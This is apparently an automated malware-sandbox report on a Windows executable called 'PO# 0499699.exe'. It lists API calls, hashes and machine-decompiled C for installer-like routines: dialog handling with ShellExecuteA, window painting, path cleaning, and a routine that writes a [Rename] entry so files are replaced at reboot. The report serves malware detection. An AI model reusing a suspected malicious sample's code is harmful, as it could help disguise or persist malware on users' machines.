0x00403abc
0x00000000
0x00000000
0x00000000
0x00403abc
0x00403a89
0x00403a8d
0x00403a92
0x00403a94
0x00000000
0x00000000
0x00403aa4
0x00403aac
0x00000000
0x00403ab2
0x004038e0
0x004038e0
0x004038e4
0x004038e9
0x004038f8
0x004038f8
0x00403901
0x0040390a
0x00403915
0x00403915
0x00403921
0x0040393d
0x00403940
0x00403953
0x00403959
0x004039fc
0x00000000
0x00403a05
0x0040395f
0x0040396c
0x0040396e
0x00403970
0x0040398f
0x0040398f
0x00403992
0x00403997
0x0040399a
0x004039aa
0x004039ab
0x004039ad
0x004039e3
0x004039f6
0x00000000
0x004039f6
0x004039af
0x004039b5
0x004039ce
0x004039d3
0x004039d5
0x00000000
0x00000000
0x004039d7
0x004039c3
0x004039c3
0x004039c5
0x004039c5
0x00000000
0x004039c5
0x004039b8
0x004039bd
0x00000000
0x004039bd
0x0040399c
0x004039a2
0x00000000
0x00000000
0x004039a4
0x00000000
0x004039a4
0x00403994
0x00000000
0x00403994
0x0040397a
0x00403981
0x00403987
0x00403989
0x00000000
0x00000000
0x00000000
0x00403989
0x00403945
0x00000000
0x00403923
0x00403929
0x00403933
0x00403d39
0x00403d3f
0x00403d4c
0x00403d52
0x00403d52
0x00403d5c
0x00000000
0x00403d5c
0x00403921

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004038F8
ShowWindow.USER32(?), ref: 00403915
DestroyWindow.USER32 ref: 00403929
SetWindowLongA.USER32 ref: 00403945
GetDlgItem.USER32 ref: 00403966
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 0040397A
IsWindowEnabled.USER32(00000000), ref: 00403981
GetDlgItem.USER32 ref: 00403A2F
GetDlgItem.USER32 ref: 00403A39
SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403A53
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403AA4
GetDlgItem.USER32 ref: 00403B4A
ShowWindow.USER32(00000000,?), ref: 00403B6B
EnableWindow.USER32(?,?), ref: 00403B7D
EnableWindow.USER32(?,?), ref: 00403B98
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403BAE
EnableMenuItem.USER32 ref: 00403BB5
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403BCD
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403BE0
lstrlenA.KERNEL32(00420478,?,00420478,00423680), ref: 00403C09
SetWindowTextA.USER32(?,00420478), ref: 00403C18
ShowWindow.USER32(?,0000000A), ref: 00403D4C

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction ID: 874aaf0cc80a4ada72e8b6aceb9d73cb056a569e4b675a7f159d56e4bf17f1bf
Opcode Fuzzy Hash: d8b962e911b7c253e61e73d21e88cb3add85ad3b5a8fe6332aee3bd0e594c397
Instruction Fuzzy Hash: F9C18E71A04204BBDB206F21ED85E2B3E7CEB05746F40453EF641B52F1C779AA429B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403ED7, Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E00403ED7(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
				char _v8;
				signed int _v12;
				void* _v16;
				struct HWND__* _t52;
				long _t86;
				int _t98;
				struct HWND__* _t99;
				signed int _t100;
				intOrPtr _t109;
				int _t110;
				signed int* _t112;
				signed int _t113;
				char* _t114;
				CHAR* _t115;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L11:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x420458 =  *0x420458 + 1;
							}
							L25:
							_t110 = _a16;
							L26:
							return E00403DF6(_a8, _a12, _t110);
						}
						_t52 = GetDlgItem(_a4, 0x3e8);
						_t110 = _a16;
						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
							_t109 =  *((intOrPtr*)(_t110 + 0x18));
							_v12 = _t100;
							_v16 = _t109;
							_v8 = 0x422e20;
							if(_t100 - _t109 < 0x800) {
								SendMessageA(_t52, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorA(0, 0x7f02));
								_t40 =  &_v8; // 0x422e20
								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
								SetCursor(LoadCursorA(0, 0x7f00));
								_t110 = _a16;
							}
						}
						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
							goto L26;
						} else {
							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
								SendMessageA( *0x423e88, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
								SendMessageA( *0x423e88, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x420458 != 0) {
						goto L25;
					} else {
						_t112 =  *0x41fc48 + 0x14;
						if(( *_t112 & 0x00000020) == 0) {
							goto L25;
						}
						 *_t112 =  *_t112 & 0xfffffffe | SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E00403DB1(SendMessageA(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404162();
						goto L11;
					}
				}
				_t98 = _a16;
				_t113 =  *(_t98 + 0x30);
				if(_t113 < 0) {
					_t113 =  *( *0x42365c - 4 + _t113 * 4);
				}
				_push( *((intOrPtr*)(_t98 + 0x34)));
				_t114 = _t113 +  *0x423eb8;
				_push(0x22);
				_a16 =  *_t114;
				_v12 = _v12 & 0x00000000;
				_t115 = _t114 + 1;
				_v16 = _t115;
				_v8 = E00403EA3;
				E00403D8F(_a4);
				_push( *((intOrPtr*)(_t98 + 0x38)));
				_push(0x23);
				E00403D8F(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E00403DB1( !( *(_t98 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t98 + 0x14) & 0x00000001);
				_t99 = GetDlgItem(_a4, 0x3e8);
				E00403DC4(_t99);
				SendMessageA(_t99, 0x45b, 1, 0);
				_t86 =  *( *0x423e90 + 0x68);
				if(_t86 < 0) {
					_t86 = GetSysColor( ~_t86);
				}
				SendMessageA(_t99, 0x443, 0, _t86);
				SendMessageA(_t99, 0x445, 0, 0x4010000);
				 *0x41f43c =  *0x41f43c & 0x00000000;
				SendMessageA(_t99, 0x435, 0, lstrlenA(_t115));
				SendMessageA(_t99, 0x449, _a16,  &_v16);
				 *0x420458 =  *0x420458 & 0x00000000;
				return 0;
			}

0x00403ee7
0x0040400d
0x00404069
0x0040406d
0x00404144
0x00404146
0x00404146
0x0040414c
0x0040414c
0x0040414f
0x00000000
0x00404156
0x0040407b
0x0040407d
0x00404087
0x00404092
0x00404095
0x00404098
0x004040a3
0x004040a6
0x004040ad
0x004040bb
0x004040d3
0x004040db
0x004040e6
0x004040f6
0x004040f8
0x004040f8
0x004040ad
0x00404102
0x00000000
0x0040410d
0x00404111
0x00404122
0x00404122
0x00404128
0x00404136
0x00404136
0x00000000
0x0040413a
0x00404102
0x00404018
0x00000000
0x0040402c
0x00404032
0x00404038
0x00000000
0x00000000
0x0040405d
0x0040405f
0x00404064
0x00000000
0x00404064
0x00404018
0x00403eed
0x00403ef0
0x00403ef5
0x00403f06
0x00403f06
0x00403f0d
0x00403f10
0x00403f12
0x00403f17
0x00403f20
0x00403f26
0x00403f32
0x00403f35
0x00403f3e
0x00403f43
0x00403f46
0x00403f4b
0x00403f62
0x00403f69
0x00403f7c
0x00403f7f
0x00403f94
0x00403f9b
0x00403fa0
0x00403fa5
0x00403fa5
0x00403fb4
0x00403fc3
0x00403fc5
0x00403fdb
0x00403fea
0x00403fec
0x00000000

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 00403F62
GetDlgItem.USER32 ref: 00403F76
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 00403F94
GetSysColor.USER32(?), ref: 00403FA5
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 00403FB4
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00403FC3
lstrlenA.KERNEL32(?), ref: 00403FCD
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 00403FDB
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00403FEA
GetDlgItem.USER32 ref: 0040404D
SendMessageA.USER32(00000000), ref: 00404050
GetDlgItem.USER32 ref: 0040407B
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 004040BB
LoadCursorA.USER32 ref: 004040CA
SetCursor.USER32(00000000), ref: 004040D3
ShellExecuteA.SHELL32(0000070B,open, .B,00000000,00000000,00000001), ref: 004040E6
LoadCursorA.USER32 ref: 004040F3
SetCursor.USER32(00000000), ref: 004040F6
SendMessageA.USER32(00000111,00000001,00000000), ref: 00404122
SendMessageA.USER32(00000010,00000000,00000000), ref: 00404136

Strings

.B, xrefs: 004040DB
open, xrefs: 004040DE
N, xrefs: 00404069

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: .B$N$open
API String ID: 3615053054-847860968
Opcode ID: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction ID: 4310844e4bc5412d85e0e67e924f78a0a7df87fdbfd2fc52009ff806257c2229
Opcode Fuzzy Hash: da112c14776137c7bd89e7c73a234b8b17dddee6ca60b81d448b510bce2e22e9
Instruction Fuzzy Hash: 3161A1B1A40209BFEB109F60DC45F6A7B69EB54715F108036FB05BA2D1C7B8E951CF98

Uniqueness

Uniqueness Score: -1.00%

Function 00401000, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x423e90;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, 0x423680, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x423e88;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,00423680,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction ID: 87972a138d556bacb88ba9c7fcdf6f47da3ec758f00315b8b39b68d2b09e4b9a
Opcode Fuzzy Hash: a16a50f16efb259b1f94ca86ef79a5d51e0f349a280e4e705ab109419a7a434d
Instruction Fuzzy Hash: 6441BC71804249AFCB058FA4CD459BFBFB9FF44314F00812AF951AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040572B, Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 144
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E0040572B() {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t15;
				long _t16;
				int _t20;
				void* _t28;
				long _t29;
				intOrPtr* _t37;
				int _t43;
				void* _t44;
				long _t47;
				CHAR* _t49;
				void* _t51;
				void* _t53;
				intOrPtr* _t54;
				void* _t55;
				void* _t56;

				_t15 = E00405CFF(1);
				_t49 =  *(_t55 + 0x18);
				if(_t15 != 0) {
					_t20 =  *_t15( *(_t55 + 0x1c), _t49, 5);
					if(_t20 != 0) {
						L16:
						 *0x423f10 =  *0x423f10 + 1;
						return _t20;
					}
				}
				 *0x422608 = 0x4c554e;
				if(_t49 == 0) {
					L5:
					_t16 = GetShortPathNameA( *(_t55 + 0x1c), 0x422080, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						_t43 = wsprintfA(0x421c80, "%s=%s\r\n", 0x422608, 0x422080);
						_t56 = _t55 + 0x10;
						E004059FF(_t43, 0x400, 0x422080, 0x422080,  *((intOrPtr*)( *0x423e90 + 0x128)));
						_t20 = E004056B4(0x422080, 0xc0000000, 4);
						_t53 = _t20;
						 *(_t56 + 0x14) = _t53;
						if(_t53 == 0xffffffff) {
							goto L16;
						}
						_t47 = GetFileSize(_t53, 0);
						_t7 = _t43 + 0xa; // 0xa
						_t51 = GlobalAlloc(0x40, _t47 + _t7);
						if(_t51 == 0 || ReadFile(_t53, _t51, _t47, _t56 + 0x18, 0) == 0 || _t47 !=  *(_t56 + 0x18)) {
							L15:
							_t20 = CloseHandle(_t53);
							goto L16;
						} else {
							if(E00405629(_t51, "[Rename]\r\n") != 0) {
								_t28 = E00405629(_t26 + 0xa, 0x409330);
								if(_t28 == 0) {
									L13:
									_t29 = _t47;
									L14:
									E00405675(_t51 + _t29, 0x421c80, _t43);
									SetFilePointer(_t53, 0, 0, 0);
									WriteFile(_t53, _t51, _t47 + _t43, _t56 + 0x18, 0);
									GlobalFree(_t51);
									goto L15;
								}
								_t37 = _t28 + 1;
								_t44 = _t51 + _t47;
								_t54 = _t37;
								if(_t37 >= _t44) {
									L21:
									_t53 =  *(_t56 + 0x14);
									_t29 = _t37 - _t51;
									goto L14;
								} else {
									goto L20;
								}
								do {
									L20:
									 *((char*)(_t43 + _t54)) =  *_t54;
									_t54 = _t54 + 1;
								} while (_t54 < _t44);
								goto L21;
							}
							E004059DD(_t51 + _t47, "[Rename]\r\n");
							_t47 = _t47 + 0xa;
							goto L13;
						}
					}
				} else {
					CloseHandle(E004056B4(_t49, 0, 1));
					_t16 = GetShortPathNameA(_t49, 0x422608, 0x400);
					if(_t16 != 0 && _t16 <= 0x400) {
						goto L5;
					}
				}
				return _t16;
			}

0x00405731
0x00405738
0x0040573c
0x00405745
0x00405749
0x00405888
0x00405888
0x00000000
0x00405888
0x00405749
0x00405755
0x0040576b
0x00405793
0x0040579e
0x004057a2
0x004057c2
0x004057c9
0x004057d3
0x004057e0
0x004057e5
0x004057ea
0x004057ee
0x00000000
0x00000000
0x004057fd
0x004057ff
0x0040580c
0x00405810
0x00405881
0x00405882
0x00000000
0x0040582c
0x00405839
0x0040589e
0x004058a5
0x0040584c
0x0040584c
0x0040584e
0x00405857
0x00405862
0x00405874
0x0040587b
0x00000000
0x0040587b
0x004058a7
0x004058a8
0x004058ad
0x004058af
0x004058bc
0x004058bc
0x004058c0
0x00000000
0x00000000
0x00000000
0x00000000
0x004058b1
0x004058b1
0x004058b4
0x004058b7
0x004058b8
0x00000000
0x004058b1
0x00405844
0x00405849
0x00000000
0x00405849
0x00405810
0x0040576d
0x00405778
0x00405781
0x00405785
0x00000000
0x00000000
0x00405785
0x00405892

APIs

Part of subcall function 00405CFF: GetModuleHandleA.KERNEL32(?,?,00000000,0040310E,00000008), ref: 00405D11
Part of subcall function 00405CFF: LoadLibraryA.KERNELBASE(?,?,00000000,0040310E,00000008), ref: 00405D1C
Part of subcall function 00405CFF: GetProcAddress.KERNEL32(00000000,?), ref: 00405D2D

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,004054C0,?,00000000,000000F1,?), ref: 00405778
GetShortPathNameA.KERNEL32(?,00422608,00000400), ref: 00405781
GetShortPathNameA.KERNEL32(00000000,00422080,00000400), ref: 0040579E
wsprintfA.USER32 ref: 004057BC
GetFileSize.KERNEL32(00000000,00000000,00422080,C0000000,00000004,00422080,?,?,?,00000000,000000F1,?), ref: 004057F7
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 00405806
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 0040581C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421C80,00000000,-0000000A,00409330,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405862
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 00405874
GlobalFree.KERNEL32 ref: 0040587B
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405882

Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
Part of subcall function 00405629: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Strings

[Rename], xrefs: 0040582C, 0040583E
%s=%s, xrefs: 004057B2

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$[Rename]
API String ID: 3772915668-1727408572
Opcode ID: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction ID: 243778ea09c2d6121d89995a0746b628a30f71b2b4e684d8516dd3187c24d480
Opcode Fuzzy Hash: 07c12176a5373c156f7b76f79e2b8e53ec089a42cccabde25e202c2098703b15
Instruction Fuzzy Hash: 0E412032A05B067BE3207B619C48F6B3A5CEB40754F004436FD05F62D2EA38A8018ABE

Uniqueness

Uniqueness Score: -1.00%

Function 00405C3F, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C3F(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E0040553D(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004054FB("*?|<>/\":", _t5))) == 0) {
							E00405675(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405c41
0x00405c49
0x00405c5d
0x00405c5d
0x00405c63
0x00405c70
0x00405c70
0x00405c71
0x00405c73
0x00405c77
0x00405c79
0x00405c82
0x00405c84
0x00405c9e
0x00405ca6
0x00405ca6
0x00405cab
0x00405cad
0x00405caf
0x00405cb3
0x00405cb4
0x00405cb7
0x00405cbf
0x00405cc1
0x00405cc5
0x00000000
0x00000000
0x00405ccb
0x00405cd0
0x00000000
0x00000000
0x00000000
0x00405cd0
0x00405cd5

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405C97
CharNextA.USER32(?,?,?,00000000), ref: 00405CA4
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CA9
CharPrevA.USER32(?,?,"C:\Users\user\Desktop\PO# 0499699.exe" ,C:\Users\user\AppData\Local\Temp\,00000000,004030A3,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 00405CB9

Strings

*?|<>/":, xrefs: 00405C87
"C:\Users\user\Desktop\PO# 0499699.exe" , xrefs: 00405C45
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C40, 00405C7B

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PO# 0499699.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-94780701
Opcode ID: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction ID: 6e21827f4117d195ccc2fee92ee9dbca2865e9be55a4e6ca6148cbd3e4a13511
Opcode Fuzzy Hash: 5aa71b13a4eda0142438c40892e2bf660e792717ed83394db4a483eb7dc85cb7
Instruction Fuzzy Hash: F011905580CB942AFB3206384C48B776F99CB67764F58407BE8C4723C2D67C5C429B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403DF6, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403DF6(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403e08
0x00403e9c
0x00000000
0x00403e9c
0x00403e19
0x00403e1d
0x00000000
0x00000000
0x00403e23
0x00403e2c
0x00403e2f
0x00403e2f
0x00403e35
0x00403e3b
0x00403e3b
0x00403e47
0x00403e4d
0x00403e54
0x00403e57
0x00403e5a
0x00403e5c
0x00403e5c
0x00403e64
0x00403e6a
0x00403e6a
0x00403e74
0x00403e79
0x00403e7c
0x00403e81
0x00403e84
0x00403e84
0x00403e94
0x00403e94
0x00000000

APIs

GetWindowLongA.USER32 ref: 00403E13
GetSysColor.USER32(00000000), ref: 00403E2F
SetTextColor.GDI32(?,00000000), ref: 00403E3B
SetBkMode.GDI32(?,?), ref: 00403E47
GetSysColor.USER32(?), ref: 00403E5A
SetBkColor.GDI32(?,?), ref: 00403E6A
DeleteObject.GDI32(?), ref: 00403E84
CreateBrushIndirect.GDI32(?), ref: 00403E8E

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 54c4c26d0880f537c7164b4e2121e342b47f232b14c6c2566c024284623f766e
